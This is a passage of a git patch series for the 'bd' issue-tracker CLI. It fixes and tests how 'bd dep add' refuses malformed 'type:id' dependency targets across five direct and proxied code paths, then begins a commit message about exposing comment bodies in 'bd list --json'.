pinning dep add's accept decision to IsExternalDepTarget, so the CLI and the storage classification cannot drift apart again. * chore: drop the release-gate record from the PR Review of #6571. The reviewer is right that a 111-line record of our deployment ritual is not something a bd user gets anything from, and the "but the directory already exists upstream" defence does not survive checking who put it there: 45 of the 47 commits touching release-gates/ on main are ours. That is not a repo convention, it is us. The gate record itself is not lost — it stays in this branch's history at 0e8d7e2a4386 and on the deploy bead. Dropping only this PR's file; the existing 31 are a separate conversation we should have on our side rather than settle by unilateral deletion here. * fix(dep): apply the target refusal at every dep add site, and get its suggested command right Maintainer review fixes for #6571. The PR extracted resolveUnresolvedDepTarget to centralize the dep add target decision, but installed it at one of four decision sites. The be-gmdx5 silent mangle — a "type:id" positional arg stored verbatim as a bogus external ref with the type dropped — survived on `dep add --file` (validateBulkDepEdges kept a byte-equivalent copy of the replaced ladder) and, more sharply, on both proxied paths, where the identical invocation was refused in direct mode and stored in proxied mode. Nothing below the CLI backstops it: addDependencyEdgeInTx classifies by ExtractPrefix alone and validates no target shape. Split the resolution-free half of the decision into refuseMalformedDepTarget so all sites share it: validateBulkDepEdges now routes through resolveUnresolvedDepTarget (per-line message unchanged), and the two proxied paths — which deliberately resolve no IDs — call the shape refusal directly. The refusal's suggested command was also backwards for the one reversing spelling. parseDepSpec sets SwapDirection for the literal "blocks:" only, so `--deps blocks:B` on A stores "B depends on A"; the suggested `bd dep add A B --type blocks` stored the opposite, handing the user a reversed bd ready/bd blocked gate. Emit the swapped operands for "blocks:" and keep the natural order for the depends-on/blocked-by aliases, which are compared before canonicalDependencyType and do not swap. Also gate the "`bd create --deps` : syntax" diagnosis on the token before the ":" being a type --type would accept, so an unrelated colon-bearing typo ("https://example.com/x") gets the generic refusal instead of a confidently wrong cause and a --type the next validation rejects. Review iteration 2 closed the enumeration at the fifth surface and the last coverage gap: - runDepBlocksProxiedServer — the `bd dep --blocks ` alias the dep help documents as "equivalent to: bd dep add " — reached the edge builder from raw args with no shape check, so the same invocation stayed refused in direct mode and stored in proxied mode. It now mirrors the dep add proxied site, with the operands inverted (the blocker is the target), and the helper's doc comment names all five sites instead of claiming four. - refuseMalformedDepTarget TrimSpaces both halves like parseDepSpec, so pasting an accepted `--deps "blocks : bd-2"` spec into dep add still gets the actionable translation rather than the generic refusal. Tests: blocks:/depends-on: direction rows with an omit-guard on the wrong operand order, a non-type-prefix row for the gated diagnosis, a whitespace row for the trimmed diagnosis, call-site refusal pins on all three proxied paths, and a call-site pin for direct `--file` (validateBulkDepEdges) driven by a stub store, which replaces the previous coverage-by-construction argument on the one converted site with the worst regression history. Each new pin was mutation-proved to red only for its own site. Refs be-gmdx5, be-fghsd Co-authored-by: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- cmd/bd/dep.go | 128 ++++++++++-- cmd/bd/dep_add_target_test.go | 377 ++++++++++++++++++++++++++++++++++ cmd/bd/dep_proxied_server.go | 30 ++- 3 files changed, 520 insertions(+), 15 deletions(-) create mode 100644 cmd/bd/dep_add_target_test.go diff --git a/cmd/bd/dep.go b/cmd/bd/dep.go index ac66a790d..1fe888ef5 100644 --- a/cmd/bd/dep.go +++ b/cmd/bd/dep.go @@ -107,6 +107,112 @@ func resolveIDForMutation(ctx context.Context, localStore storage.DoltStorage, i return result.ResolvedID, s, func() { result.Close() }, nil } +// refuseMalformedDepTarget refuses a dep add target that contains ":" but is +// not an "external:" ref. This is the half of the target decision that needs no +// ID resolution, so it is the half every dep add surface can share — including +// the proxied-server paths, which deliberately resolve nothing and so cannot +// call resolveUnresolvedDepTarget. A colon-free target is not this helper's +// business and returns nil; the caller still owns the resolve/cross-prefix +// decision. Refusing here rather than per-surface is what keeps `bd dep add` +// from being mode-dependently correct (be-gmdx5 survived in proxied mode and on +// --file until every site routed through this). The five sites are: the +// positional and --file direct routes (both via resolveUnresolvedDepTarget), +// their two proxied twins, and runDepBlocksProxiedServer — the `bd dep +// --blocks ` alias the dep help documents as equivalent to dep add, which +// passes the blocker as the target and so inverts the operands. +// +// The refused shape is be-gmdx5 itself: a "type:id" positional arg (e.g. +// "discovered-from:ga-x", the spec syntax `bd create --deps` accepts) was read +// as a foreign-store ID, because ExtractPrefix stops at the first "-" and so +// returns "discovered-". The type keyword was silently dropped (the edge +// defaulted to blocks) and the whole string was stored as a bogus external ref. +// No bd ID contains ":", and callers take the only legal ":" shape +// ("external:") first, so anything reaching here is malformed regardless of +// prefix. +// +// Two details in the message: +// +// - The `bd create --deps` diagnosis is only asserted when the token before +// the ":" is a type --type would actually accept. Otherwise an unrelated +// colon-bearing typo ("https://example.com/x") is told a confidently wrong +// cause and handed "--type https", which the next validation rejects. +// - The suggested command respects direction. parseDepSpec reverses the +// endpoints for the literal "blocks:" spelling only (create_deps.go sets +// SwapDirection for rawType == DepBlocks), so `--deps blocks:B` on A stores +// "B depends on A" and the equivalent dep add has to name B first. The +// "depends-on"/"blocked-by" aliases are compared before +// canonicalDependencyType and do not swap, so they keep the natural order. +// Getting this backwards would hand the user a reversed bd ready/bd blocked +// gate (Type.AffectsReadyWork), not just a cosmetically odd command. +func refuseMalformedDepTarget(sourceID, dependsOnArg string) error { + idx := strings.Index(dependsOnArg, ":") + if idx < 0 { + return nil + } + + // Trim both halves the way parseDepSpec does (create_deps.go), or the + // diagnosis this branch exists to give degrades on exactly the specs + // `bd create --deps` accepts: "blocks : bd-2" parses there, but read + // verbatim here the type is "blocks " — neither types.DepBlocks (so the + // direction swap is never considered) nor well-known (so the suggestion is + // suppressed), and the user is handed the generic refusal instead of the + // translation. The refusal itself is correct either way; only the message + // is at stake, and it must name a command that actually runs. + depType, target := strings.TrimSpace(dependsOnArg[:idx]), strings.TrimSpace(dependsOnArg[idx+1:]) + if depType == "" || target == "" || + validateDependencyType(canonicalDependencyType(types.DependencyType(depType))) != nil { + return fmt.Errorf("invalid dependency target %q: not a bd ID and not a well-formed external:: reference", dependsOnArg) + } + + first, second := sourceID, target + if types.DependencyType(depType) == types.DepBlocks { + first, second = target, sourceID + } + return fmt.Errorf("invalid dependency target %q: that is `bd create --deps` : syntax, not a target ID; use: bd dep add %s %s --type %s", + dependsOnArg, first, second, depType) +} + +// resolveUnresolvedDepTarget decides what to do when a dep add target could +// not be resolved locally or via cross-store routing (resolveIDWithRouting's +// error). Three outcomes, in order: +// +// 1. An "external:" ref is validated and passed through, as before. +// 2. Anything else containing ":" is refused by name, by +// refuseMalformedDepTarget — see there for the be-gmdx5 mechanism and the +// message's direction/type rules. +// 3. A bare, differently-prefixed target is passed through unchanged. This is +// NOT malformed: issueops.IsExternalDepTarget defines a target "whose id +// prefix names ANOTHER REPOSITORY" as belonging in depends_on_external +// alongside "external:" refs, and calls that the single rule every backend +// classifies by (db.pickDepTargetColumn restates it). It is the multi-rig +// "add now, route later" shape — a gt- bead depending on a bd- bead whose +// rig is not in routes.jsonl yet — and dep remove (the ExtractPrefix +// fallback further down this file) still addresses such an edge. Refusing +// it here would make dep add reject an edge the store holds and dep remove +// can still delete. +// +// A same-prefix target that resolves nowhere is still an error, unchanged. +func resolveUnresolvedDepTarget(sourceID, dependsOnArg string, resolveErr error) (string, error) { + if IsExternalRef(dependsOnArg) { + if err := validateExternalRef(dependsOnArg); err != nil { + return "", err + } + return dependsOnArg, nil + } + + if err := refuseMalformedDepTarget(sourceID, dependsOnArg); err != nil { + return "", err + } + + srcPrefix := types.ExtractPrefix(sourceID) + tgtPrefix := types.ExtractPrefix(dependsOnArg) + if srcPrefix != "" && tgtPrefix != "" && srcPrefix != tgtPrefix { + return dependsOnArg, nil + } + + return "", fmt.Errorf("resolving dependency ID %s: %v", dependsOnArg, resolveErr) +} + // isChildOf returns true if childID is a hierarchical child of parentID. // For example, "bd-abc.1" is a child of "bd-abc", and "bd-abc.1.2" is a child of "bd-abc.1". func isChildOf(childID, parentID string) bool { @@ -382,12 +488,9 @@ Examples: var toCleanup func() toID, _, toCleanup, err = resolveIDWithRouting(ctx, store, dependsOnArg) if err != nil { - srcPrefix := types.ExtractPrefix(fromID) - tgtPrefix := types.ExtractPrefix(dependsOnArg) - if srcPrefix != "" && tgtPrefix != "" && srcPrefix != tgtPrefix { - toID = dependsOnArg - } else { - return HandleErrorRespectJSON("resolving dependency ID %s: %v", dependsOnArg, err) + toID, err = resolveUnresolvedDepTarget(fromID, dependsOnArg, err) + if err != nil { + return HandleErrorRespectJSON("%v", err) } } else { defer toCleanup() @@ -708,12 +811,13 @@ func validateBulkDepEdges(ctx context.Context, edges []bulkDepEdge) ([]bulkDepEd } else { toID, _, toCleanup, err := resolveIDWithRouting(ctx, store, edge.DependsOnID) if err != nil { - srcPrefix := types.ExtractPrefix(current.IssueID) - tgtPrefix := types.ExtractPrefix(edge.DependsOnID) - if srcPrefix != "" && tgtPrefix != "" && srcPrefix != tgtPrefix { - toID = edge.DependsOnID - } else { - errs = append(errs, fmt.Sprintf("line %d: resolving dependency ID %s: %v", edge.Line, edge.DependsOnID, err)) + // Same decision as the single-edge add, through the same helper: + // --file used to carry its own copy of the cross-prefix ladder, + // which left the be-gmdx5 "type:id" shape accepted and stored + // here after the positional path started refusing it. + toID, err = resolveUnresolvedDepTarget(current.IssueID, edge.DependsOnID, err) + if err != nil { + errs = append(errs, fmt.Sprintf("line %d: %v", edge.Line, err)) resolved = append(resolved, current) continue } diff --git a/cmd/bd/dep_add_target_test.go b/cmd/bd/dep_add_target_test.go new file mode 100644 index 000000000..137465453 --- /dev/null +++ b/cmd/bd/dep_add_target_test.go @@ -0,0 +1,377 @@ +package main + +import ( + "context" + "errors" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/spf13/cobra" + + "github.com/steveyegge/beads/internal/storage" + storeissueops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// resolveUnresolvedDepTarget is the decision point `bd dep add` reaches when +// its depends-on target could not be resolved locally or via cross-store +// routing (resolveIDWithRouting's error return). It has to separate two things +// the old prefix-comparison heuristic conflated: +// +// - A "type:id"-shaped positional argument (e.g. "discovered-from:ga-dguvnb", +// the syntax `bd create --deps` accepts via parseDepSpec) was misparsed: +// types.ExtractPrefix takes everything up to the first "-", so it read +// "discovered-" as a bd ID prefix instead of recognizing "discovered-from" +// as a dependency-type keyword. The intended type was silently dropped +// (defaulting to blocks) and the whole "type:id" string was stored as a +// bogus external reference. That is bd-gmdx5, and it is a real bug. +// +// - A bare, differently-prefixed target (e.g. "xy-999" from a "be-" issue) is +// NOT a bug. storeissueops.IsExternalDepTarget defines exactly this shape as +// belonging in depends_on_external, and calls that the single rule every +// backend classifies by. It is the multi-rig "add now, route later" shape, +// and `bd dep remove` still addresses such an edge. dep add must keep +// accepting it, or it would refuse to create an edge the store holds and +// dep remove can still delete. +func TestResolveUnresolvedDepTarget(t *testing.T) { + resolveErr := errors.New("issue not found") + + tests := []struct { + name string + sourceID string + dependsOnArg string + wantToID string + wantErr bool + wantErrContains string + // wantErrOmits is the direction/diagnosis guard: for the reversing + // spelling it holds the operand order the message must NOT suggest, so a + // refusal that merely names the target cannot pass by accident. + wantErrOmits string + }{ + { + name: "bare cross-prefix target is passed through as a cross-store edge", + sourceID: "be-abc", + dependsOnArg: "xy-999", + wantToID: "xy-999", + wantErr: false, + }, + { + name: "type:id-shaped positional arg is rejected, not silently misparsed", + sourceID: "be-abc", + dependsOnArg: "discovered-from:ga-dguvnb", + wantErr: true, + wantErrContains: "discovered-from:ga-dguvnb", + }, + { + name: "type:id rejection names the flag form that would have worked", + sourceID: "be-abc", + dependsOnArg: "discovered-from:ga-dguvnb", + wantErr: true, + wantErrContains: "bd dep add be-abc ga-dguvnb --type discovered-from", + }, + { + // `bd create --deps blocks:B` on A stores "B depends on A": + // parseDepSpec sets SwapDirection for the literal "blocks" spelling + // and both consumers swap the endpoints. The equivalent dep add + // therefore names the target first. Suggesting the natural order + // here would hand the user a reversed bd ready/bd blocked gate. + name: "blocks: is the reversing spelling, so the suggestion swaps the operands", + sourceID: "be-abc", + dependsOnArg: "blocks:xy-999", + wantErr: true, + wantErrContains: "bd dep add xy-999 be-abc --type blocks", + wantErrOmits: "bd dep add be-abc xy-999", + }, + { + // The documented aliases are compared before canonicalDependencyType, + // so they do not swap — the operand order stays natural. This is the + // twin that stops the blocks: fix from swapping everything. + name: "depends-on: alias keeps direction, so the suggestion keeps the operand order", + sourceID: "be-abc", + dependsOnArg: "depends-on:xy-999", + wantErr: true, + wantErrContains: "bd dep add be-abc xy-999 --type depends-on", + wantErrOmits: "bd dep add xy-999 be-abc", + }, + { + // parseDepSpec TrimSpaces both halves, so `bd create --deps + // "blocks : xy-999"` is accepted there. Read verbatim here the type + // would be "blocks " — neither DepBlocks nor well-known — and the + // paste of that same spec into dep add would lose the translation + // and fall to the generic refusal. wantErrOmits is what pins that: + // the message must still be the actionable one, and still swapped. + name: "whitespace-bearing spec keeps the actionable diagnosis, matching parseDepSpec", + sourceID: "be-abc", + dependsOnArg: "blocks : xy-999", + wantErr: true, + wantErrContains: "bd dep add xy-999 be-abc --type blocks", + wantErrOmits: "not a bd ID and not a well-formed external:", + }, + { + // The `--deps` diagnosis is a claim about the token before the ":". + // An unrelated colon-bearing typo must not be told that cause and + // handed a --type the next validation rejects. + name: "colon-bearing target whose prefix is not a dependency type gets the generic refusal", + sourceID: "be-abc", + dependsOnArg: "https://example.com/x", + wantErr: true, + wantErrContains: "not a bd ID and not a well-formed external:", + wantErrOmits: "--type https", + }, + { + name: "well-formed external ref is still accepted", + sourceID: "be-abc", + dependsOnArg: "external:otherproj:some-capability", + wantToID: "external:otherproj:some-capability", + wantErr: false, + }, + { + name: "malformed external-looking ref missing capability is rejected", + sourceID: "be-abc", + dependsOnArg: "external:otherproj", + wantErr: true, + wantErrContains: "external:otherproj", + }, + { + name: "same-prefix target that resolves nowhere is still an error", + sourceID: "be-abc", + dependsOnArg: "be-nosuchbead", + wantErr: true, + wantErrContains: "be-nosuchbead", + }, + { + name: "target with no prefix at all is rejected", + sourceID: "be-abc", + dependsOnArg: "nodashhere", + wantErr: true, + wantErrContains: "nodashhere", + }, + { + name: "empty target is rejected", + sourceID: "be-abc", + dependsOnArg: "", + wantErr: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + toID, err := resolveUnresolvedDepTarget(tt.sourceID, tt.dependsOnArg, resolveErr) + + if tt.wantErr { + if err == nil { + t.Fatalf("resolveUnresolvedDepTarget(%q, %q): got nil error, want error naming the unresolved target", tt.sourceID, tt.dependsOnArg) + } + if tt.wantErrContains != "" && !strings.Contains(err.Error(), tt.wantErrContains) { + t.Errorf("resolveUnresolvedDepTarget(%q, %q): error %q does not contain %q", tt.sourceID, tt.dependsOnArg, err.Error(), tt.wantErrContains) + } + if tt.wantErrOmits != "" && strings.Contains(err.Error(), tt.wantErrOmits) { + t.Errorf("resolveUnresolvedDepTarget(%q, %q): error %q must not contain %q", tt.sourceID, tt.dependsOnArg, err.Error(), tt.wantErrOmits) + } + if toID != "" { + t.Errorf("resolveUnresolvedDepTarget(%q, %q): got toID %q on error, want empty", tt.sourceID, tt.dependsOnArg, toID) + } + return + } + + if err != nil { + t.Fatalf("resolveUnresolvedDepTarget(%q, %q): unexpected error: %v", tt.sourceID, tt.dependsOnArg, err) + } + if toID != tt.wantToID { + t.Errorf("resolveUnresolvedDepTarget(%q, %q) = %q, want %q", tt.sourceID, tt.dependsOnArg, toID, tt.wantToID) + } + }) + } +} + +// TestResolveUnresolvedDepTargetMatchesStorageClassification pins the CLI's +// accept/refuse decision to the storage layer's own definition of an external +// dependency target. Every target dep add passes through here must be one +// IsExternalDepTarget classifies as external — i.e. one depends_on_external can +// actually hold. If these two ever disagree, dep add is writing edges a backend +// will route to the wrong column (or refusing edges it would have held fine), +// which is the failure this whole change is about. +func TestResolveUnresolvedDepTargetMatchesStorageClassification(t *testing.T) { + resolveErr := errors.New("issue not found") + + const sourceID = "be-abc" + accepted := []string{ + "xy-999", + "external:otherproj:some-capability", + } + + for _, target := range accepted { + t.Run(target, func(t *testing.T) { + toID, err := resolveUnresolvedDepTarget(sourceID, target, resolveErr) + if err != nil { + t.Fatalf("resolveUnresolvedDepTarget(%q, %q): unexpected error: %v", sourceID, target, err) + } + if !storeissueops.IsExternalDepTarget(sourceID, toID) { + t.Errorf("dep add accepted %q but storage would not classify it as an external dep target; "+ + "the edge would be written to a column that cannot hold it", toID) + } + }) + } +} + +// newDepAddCommandForTest mirrors depAddCmd's flag set (dep.go's init) so the +// proxied RunE helpers can be driven directly. Only the flags read before the +// target decision matter, but registering all of them keeps the fixture honest +// if that order ever changes. +func newDepAddCommandForTest() *cobra.Command { + cmd := &cobra.Command{Use: "add"} + cmd.Flags().StringP("type", "t", "blocks", "") + cmd.Flags().String("blocked-by", "", "") + cmd.Flags().String("depends-on", "", "") + cmd.Flags().String("file", "", "") + cmd.Flags().Bool("no-cycle-check", false, "") + return cmd +} + +// TestDepAddProxiedServerRefusesDepsSpecTarget pins the refusal on the proxied +// route, where be-gmdx5 survived the original fix: usesProxiedServer() is +// consulted before any flag handling (dep.go), this path resolves no IDs, and +// nothing below it validates target shape — ExecuteAddDependencies classifies by +// ExtractPrefix alone (internal/storage/issueops/dependency_editor.go). Without +// the refusal the identical invocation that now errors in direct mode stores the +// bogus external ref with the type dropped, so `bd dep add` would be +// mode-dependently correct. +// +// The assertion is on the message, not merely on "an error came back": the +// unguarded path also fails here (it reaches proxiedDependencyEditor with no +// server configured), so only the refusal text distinguishes the two. +func TestDepAddProxiedServerRefusesDepsSpecTarget(t *testing.T) { + var err error + stderr := captureStderr(t, func() { + err = runDepAddProxiedServer(newDepAddCommandForTest(), context.Background(), + []string{"be-abc", "discovered-from:ga-dguvnb"}) + }) + + if err == nil { + t.Fatal("proxied dep add accepted discovered-from:ga-dguvnb; the be-gmdx5 edge would be stored with its type dropped") + } + if !strings.Contains(stderr, "bd dep add be-abc ga-dguvnb --type discovered-from") { + t.Errorf("proxied refusal = %q, want the same target refusal the direct route emits", stderr) + } +} + +// TestDepAddBulkProxiedRefusesDepsSpecTarget covers the fourth decision site. +// The bulk format carries an explicit "type" field, so a "type:id" value in +// "to" is precisely the malformed input — and it was accepted and stored. +func TestDepAddBulkProxiedRefusesDepsSpecTarget(t *testing.T) { + file := filepath.Join(t.TempDir(), "edges.jsonl") + if err := os.WriteFile(file, []byte(`{"from":"be-abc","to":"discovered-from:ga-dguvnb"}`+"\n"), 0o600); err != nil { + t.Fatalf("write bulk edge file: %v", err) + } + + var err error + stderr := captureStderr(t, func() { + err = runDepAddBulkProxied(newDepAddCommandForTest(), context.Background(), file, "blocks") + }) + + if err == nil { + t.Fatal("proxied bulk dep add accepted discovered-from:ga-dguvnb in \"to\"") + } + if !strings.Contains(stderr, "line 1:") || + !strings.Contains(stderr, "bd dep add be-abc ga-dguvnb --type discovered-from") { + t.Errorf("proxied bulk refusal = %q, want the per-line target refusal", stderr) + } +} + +// bulkDepStubStore resolves exactly one issue ID and nothing else, which is +// all validateBulkDepEdges needs to reach its target decision: the source has +// to resolve (or the line fails earlier with "resolving issue ID"), and the +// target has to not resolve anywhere (or the decision point is skipped). +// Four methods carry that. SearchIssues is ResolvePartialID's fast path and +// GetIssue is resolveAndGetFromStore's follow-up; GetConfig and GetAllConfig +// are consulted by the prefix-routing and auto-routing fallbacks the target +// falls through on its way to failing. Nothing here opens a store, so this +// needs no cgo build tag and no container — the same reason the proxied pins +// above are cheap. +type bulkDepStubStore struct { + storage.DoltStorage + resolvableID string +} + +func (s *bulkDepStubStore) SearchIssues(_ context.Context, _ string, filter types.IssueFilter) ([]*types.Issue, error) { + for _, id := range filter.IDs { + if id == s.resolvableID { + return []*types.Issue{{ID: s.resolvableID}}, nil + } + } + return nil, nil +} + +func (s *bulkDepStubStore) GetIssue(_ context.Context, id string) (*types.Issue, error) { + if id == s.resolvableID { + return &types.Issue{ID: s.resolvableID}, nil + } + return nil, storage.ErrNotFound +} + +func (s *bulkDepStubStore) GetConfig(_ context.Context, _ string) (string, error) { + return "be", nil +} + +func (s *bulkDepStubStore) GetAllConfig(_ context.Context) (map[string]string, error) { + return map[string]string{}, nil +} + +// TestValidateBulkDepEdgesRefusesDepsSpecTarget is the call-site pin for the +// direct `bd dep add --file` route — the one converted site with the worst +// regression history, because it is where the be-gmdx5 shape survived the +// first fix by carrying its own private copy of the prefix ladder. +// +// TestResolveUnresolvedDepTarget pins the decision in isolation, but that is +// coverage by construction: it stays green if a future change re-inlines a +// prefix comparison at the call site, or short-circuits before reaching the +// helper at all. This asserts on the per-line text the route actually emits, +// so the wiring itself is what goes red. +func TestValidateBulkDepEdgesRefusesDepsSpecTarget(t *testing.T) { + oldStore := store + t.Cleanup(func() { store = oldStore }) + store = &bulkDepStubStore{resolvableID: "be-abc"} + + _, err := validateBulkDepEdges(context.Background(), []bulkDepEdge{ + {Line: 1, IssueID: "be-abc", DependsOnID: "discovered-from:ga-dguvnb", Type: types.DepBlocks}, + }) + + if err == nil { + t.Fatal("bulk dep add --file accepted discovered-from:ga-dguvnb; the be-gmdx5 edge would be stored with its type dropped") + } + if !strings.Contains(err.Error(), "line 1:") || + !strings.Contains(err.Error(), "bd dep add be-abc ga-dguvnb --type discovered-from") { + t.Errorf("bulk validation error = %q, want the per-line target refusal", err.Error()) + } +} + +// TestDepBlocksProxiedServerRefusesDepsSpecTarget covers the fifth decision +// site. `bd dep --blocks ` is dispatched before any dep add +// helper runs, and `bd dep --help` documents it as "equivalent to: bd dep add +// " — so leaving it unguarded kept exactly the +// be-gmdx5 mode-dependence this change exists to remove: the direct twin +// hard-errors on the resolve, while the proxied twin built the edge straight +// from the raw args and stored the bogus external ref with its type forced to +// blocks. +// +// The operands are inverted here relative to dep add: the blocker is the +// target (it becomes DependsOnID) and the blocked issue is the source, which +// is why the suggested command still reads `bd dep add `. +// As with the two pins above, the assertion is on the message — the unguarded +// path errors too, just from the missing proxied UOW provider. +func TestDepBlocksProxiedServerRefusesDepsSpecTarget(t *testing.T) { + var err error + stderr := captureStderr(t, func() { + err = runDepBlocksProxiedServer(newDepAddCommandForTest(), context.Background(), + "discovered-from:ga-dguvnb", "be-abc") + }) + + if err == nil { + t.Fatal("proxied dep --blocks accepted discovered-from:ga-dguvnb as the blocker; the be-gmdx5 edge would be stored") + } + if !strings.Contains(stderr, "bd dep add be-abc ga-dguvnb --type discovered-from") { + t.Errorf("proxied --blocks refusal = %q, want the same target refusal the dep add surfaces emit", stderr) + } +} diff --git a/cmd/bd/dep_proxied_server.go b/cmd/bd/dep_proxied_server.go index 62adda44d..28e50f79f 100644 --- a/cmd/bd/dep_proxied_server.go +++ b/cmd/bd/dep_proxied_server.go @@ -160,6 +160,23 @@ func proxiedLookupTitle(ctx context.Context, uw uow.UnitOfWork, id string) strin } func runDepBlocksProxiedServer(cmd *cobra.Command, ctx context.Context, blockerID, blockedID string) error { + // `bd dep --blocks ` is the fifth dep add surface: this + // command's own help calls it "equivalent to: bd dep add + // ", and it lands here before any of the dep add helpers run. + // The target endpoint is the blocker (it becomes DependsOnID below), and + // the source is the blocked issue — the operands are inverted relative to + // dep add, so the suggested command comes out in the order the help + // documents. Without this the alias stays mode-dependently correct: the + // direct twin hard-errors on resolveIDWithRouting, while this path builds + // the edge from raw args and stores the be-gmdx5 external ref. + if strings.HasPrefix(blockerID, "external:") { + if err := validateExternalRef(blockerID); err != nil { + return HandleErrorRespectJSON("%v", err) + } + } else if err := refuseMalformedDepTarget(blockedID, blockerID); err != nil { + return HandleErrorRespectJSON("%v", err) + } + if isDisallowedHierarchicalDependency(blockedID, blockerID, types.DepBlocks) { return HandleErrorRespectJSON("cannot add dependency: %s is already a child of %s. Children inherit dependency on parent completion via hierarchy. Adding an explicit dependency would create a deadlock", blockedID, blockerID) } @@ -219,10 +236,15 @@ func runDepAddProxiedServer(cmd *cobra.Command, ctx context.Context, args []stri if err := validateExternalRef(dependsOnArg); err != nil { return HandleErrorRespectJSON("%v", err) } - toID = dependsOnArg - } else { - toID = dependsOnArg + } else if err := refuseMalformedDepTarget(fromID, dependsOnArg); err != nil { + // This path resolves no IDs, so the colon-shape refusal is the only + // part of the direct route's target decision it can run — and it has to + // run it, or the same `bd dep add` invocation is refused in direct mode + // and silently stores the be-gmdx5 bogus external ref here (nothing in + // ExecuteAddDependencies validates target shape). + return HandleErrorRespectJSON("%v", err) } + toID = dependsOnArg dt := canonicalDependencyType(types.DependencyType(depType)) if isDisallowedHierarchicalDependency(fromID, toID, dt) { @@ -284,6 +306,8 @@ func runDepAddBulkProxied(cmd *cobra.Command, ctx context.Context, file, default if err := validateExternalRef(edge.DependsOnID); err != nil { return HandleErrorRespectJSON("line %d: %v", edge.Line, err) } + } else if err := refuseMalformedDepTarget(edge.IssueID, edge.DependsOnID); err != nil { + return HandleErrorRespectJSON("line %d: %v", edge.Line, err) } depEdges = append(depEdges, issueops.DependencyEdge{ IssueID: edge.IssueID, From d14ed67f717c42efe920c1f4571b77cbbc21aac1 Mon Sep 17 00:00:00 2001 From: mtccressall <63864460+mtccressall@users.noreply.github.com> Date: Sun, 27 Sep 2026 03:12:13 -0600 Subject: [PATCH 149/624] fix(list): expose comment bodies in bd list/show --json (be-73x) (#6473) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(list): expose comment bodies and mark the omission in bd list --json (be-73x) `bd list --json` reported comment_count and carried no comment text and no sign that any was missing. The consequence is not a missing field: a content search over a listing answers with a well-formed, NON-EMPTY result set whose matching rows are absent, and nothing about that answer invites a second look. An empty result invites suspicion; eight rows do not. Two halves, and the second is the one that fixes what was actually reported: 1. --include-comments on `bd list` populates each row's comments with the full bodies, the list twin of `bd show --include-comments`. Opt-in: it costs one query per row that has comments. 2. Every row with a nonzero comment_count whose bodies were NOT hydrated now carries comments_omitted=true, by default, with no flag. A flag nobody knows to pass does not fix a silent hole; a marker on the row does. The bodies ride on types.Issue.Comments, which already carried the `comments` key for export/import and was simply never populated on this path, so the only new field is the marker. Hydration is one shared body (workapi.HydrateListComments) called from BOTH issueops.Reader.List implementations, the store-backed and the unit-of-work one. Those are separate bodies that have answered one contract method differently before; it runs in the page epilogue beside FinishPageAt, after the trim, so a page never pays for rows it is about to drop. The source parameter is a CONSTRUCTOR rather than a source, and that is load-bearing. Building the unit-of-work comment source eagerly made a capability only the opt-in path uses into a requirement every caller had to satisfy, and turned `GET /v0/beads/issues` into a 500 on a provider without a comment use case — on requests that had asked for no comments. A count-only listing now constructs nothing, pinned by a test that fails if the constructor is called. Tests pin each implementation separately rather than duplicating: unit tests over a fake source, an embedded-dolt test over the real CLI on the direct route, and a proxied-server test over the real CLI on the unit-of-work route. Sabotage-controlled three ways — no-op the shared body and all three suites go red; unwire either reader alone and only that reader's CLI test fails, which is what proves neither integration test is redundant. Not addressed, deliberately: gt-mfp5 (bd comment does not advance updated_at, the orthogonal recency axis) and be-ozp (bd ready --json carries no marker; it does not route through Reader.Ready). Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_01XK4B7N2CrgfKGEQvDTPM4D Executed-By: beadsrig/polecats/dag * fix(list): do not read a skipped comment count as proof of no comments (be-73x) Codex review of the parent commit, correctly. `IncludeComments: true` combined with `SkipCounts: true` returned a page with no comment bodies at all — no error, no marker, nothing — while `IncludeComments` documents a guarantee to populate them. The hydration loop skipped any row whose CommentCount was zero as an optimisation, and SkipCounts zeroes every count: `issueops.ListRequest.SkipCounts` says in its own doc that a zero then means UNKNOWN rather than none. That is this bead's own failure mode reintroduced one layer down by the fix for it: a silent, well-formed, empty answer to a request that asked for content. I had considered the interaction and resolved it wrongly, in a comment reading "the count is authoritative here because the JSON route never sets SkipCounts". True of today's CLI callers, and not a property of the contract — issueops .ListRequest is a PUBLIC request type and permits both fields at once. A comment saying "X cannot happen because of how callers behave today" on a public type is a bug with a justification attached, and worse than no comment, because it tells the next reader the case was checked. countsKnown is now a parameter rather than an assumption; call sites pass !req.SkipCounts. countsKnown true a zero count proves a row has nothing; skip its query. countsKnown false query every row, because nothing proves otherwise, and mark no row omitted, because comments_omitted asserts a nonzero count the page cannot support. The second half is the mirror defect on the marker path — the same conflation, the other direction — which the review did not name. No behaviour change on any current CLI path: the JSON route never sets SkipCounts, so it passes countsKnown true, and the text route asks for no comments and marked nothing before either. Verified: `bd list --json` output identical, and text output identical with and without the flag. Regression tests HonorsIncludeWhenCountsAreSkipped and MarksNothingWhenCountsAreSkipped. Sabotage-controlled: restoring the count-authoritative skip fails the first with "issued 0 comment reads, want 2". Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_01XK4B7N2CrgfKGEQvDTPM4D Executed-By: beadsrig/polecats/dag * fix(list): resolve the comment plane by residence, not by the row's flags (be-73x) Maintainer review fixup for #6473, iteration 1. Both review lanes reached the same major independently and the synthesizer re-verified it against the tree. The new list hydration derived the comment table from the row's own Ephemeral/NoHistory flags - issueops.IsWisp's rule, which is right for routing a record being WRITTEN and wrong on a read. `bd import` pins a `no_history` record to the DURABLE table while preserving the flag on the row, because clearing it would change the content hash and break export->import->export byte-identity, and every clone materializes its database by importing JSONL. So a promoted no-history bead that has been through a round-trip is a durable row whose flags say wisp: bd list --json --include-comments read wisp_comments, found nothing, and returned comment_count=N beside an empty `comments`, with no marker and no error bd comment, bd show write and read that same row's comments on the issues plane, by found-table That is be-73x's own failure mode reintroduced under the flag whose contract is "gets them or gets an error", and a cross-role divergence: `bd list` and `bd show` disagreed about one row. The mirror case is real too - an import record whose `wisp_plane` key pins it to the wisps table with neither flag set reads back as durable - so no flag-based rule gets both directions right. The plane now comes from the seam that knows it. HydrateListComments takes a CommentPlanes lookup instead of 